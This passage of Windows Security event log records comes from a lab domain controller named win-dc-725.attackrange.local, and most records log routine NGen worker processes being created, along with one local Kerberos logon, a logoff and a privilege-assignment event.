Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4e8 -InterruptEvent 0 -NGENProcess 598 -Pipe 4dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254571
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1394
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e4 -InterruptEvent 0 -NGENProcess 448 -Pipe 51c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254574
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 448 -InterruptEvent 0 -NGENProcess 598 -Pipe 47c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254573
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x118c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 40c -Pipe 4f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254576
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 310 -InterruptEvent 0 -NGENProcess 790 -Pipe 390 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254575
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 40c -Pipe 220 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254578
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 344 -InterruptEvent 0 -NGENProcess 5c0 -Pipe 310 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254577
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e4 -InterruptEvent 0 -NGENProcess 324 -Pipe 410 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254585
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C507

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:04:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254584
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C507
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62477

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:04:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254583
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C507

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:04:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254582
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x264
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 40c -InterruptEvent 0 -NGENProcess 648 -Pipe 4e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254581
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 418 -InterruptEvent 0 -NGENProcess 5d4 -Pipe 298 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254580
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf78
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5c0 -InterruptEvent 0 -NGENProcess 648 -Pipe 5cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254579
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e4 -InterruptEvent 0 -NGENProcess 780 -Pipe 35c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254591
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 358 -InterruptEvent 0 -NGENProcess 214 -Pipe 340 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254590
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 758 -InterruptEvent 0 -NGENProcess 30c -Pipe 43c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254589
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7cc -InterruptEvent 0 -NGENProcess 214 -Pipe 40c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254588
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 43c -InterruptEvent 0 -NGENProcess 758 -Pipe 7e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254587
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
